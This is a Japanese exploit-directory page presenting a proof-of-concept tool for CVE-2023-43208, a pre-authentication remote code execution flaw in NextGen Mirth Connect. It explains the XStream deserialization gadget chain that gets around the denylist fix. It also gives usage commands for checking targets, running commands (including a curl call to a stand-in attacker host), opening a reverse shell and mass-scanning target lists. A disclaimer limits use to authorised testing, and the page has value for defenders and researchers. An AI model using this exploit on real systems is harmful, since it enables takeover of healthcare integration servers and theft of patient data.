Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-43208 — CVE-2023-43208: Mirth Connect 事前認証RCE PoC | Kitploit
ツール/GitHubGitHub/kyakei/cve-2023-43208
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubkyakei/cve-2023-43208

CVE-2023-43208

CVE-2023-43208: Mirth Connect 事前認証RCE PoC

リポジトリを見る
315ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-43208 — Mirth Connect 事前認証RCE

NextGen Healthcare Mirth Connect < 4.4.1 における、XStream デシリアライゼーションのバイパスを介した事前認証リモートコード実行。

CVSS 9.8 (Critical) — CVE-2023-37679 のパッチバイパス

概要

Mirth Connect は、Java XStream ライブラリを使用して /api/users エンドポイントで 認証なしで XML ペイロードをデシリアライズします。当初の修正 (CVE-2023-37679) では危険なクラスの拒否リストが導入されましたが、Apache Commons Lang3 の EventBindingInvocationHandler と Commons Collections4 の InvokerTransformer チェーンを組み合わせることでバイパスされました。

Mirth Connect 4.4.1 では、拒否リストから許可リストへの切り替えにより修正されました。

必要条件

root@kitploit:~
pip install requests

Python 3.10 以上(match 文を使用)。

使用方法

ターゲットが脆弱かどうかを確認

root@kitploit:~
python3 exploit.py check -t https://target:8443

コマンドを実行 (ブラインドRCE — 出力なし)

root@kitploit:~
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"

リバースシェルを取得

root@kitploit:~
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444

# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444

複数ターゲットのスキャン

root@kitploit:~
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30

攻撃チェーン

root@kitploit:~
POST /api/users  (no auth)
     │
     ▼
XStream deserializes XML payload
     │
     ▼
sorted-set triggers Comparable.compareTo()
     │
     ▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
     │
     ▼
ChainedTransformer.transform()
     │
     ▼
ConstantTransformer(Runtime.class)
  → InvokerTransformer("getRuntime")
    → InvokerTransformer("invoke")
      → InvokerTransformer("exec", <command>)
           │
           ▼
      OS command execution as Mirth Connect service user

免責事項

このツールは認可されたセキュリティテストおよび教育目的のみに提供されています。コンピュータシステムへの不正アクセスは違法です。テスト前には必ず適切な許可を得てください。

参考文献

  • NVD — CVE-2023-43208
  • Horizon3.ai — Writeup
  • CISA KEV Catalog
ツールをダウンロード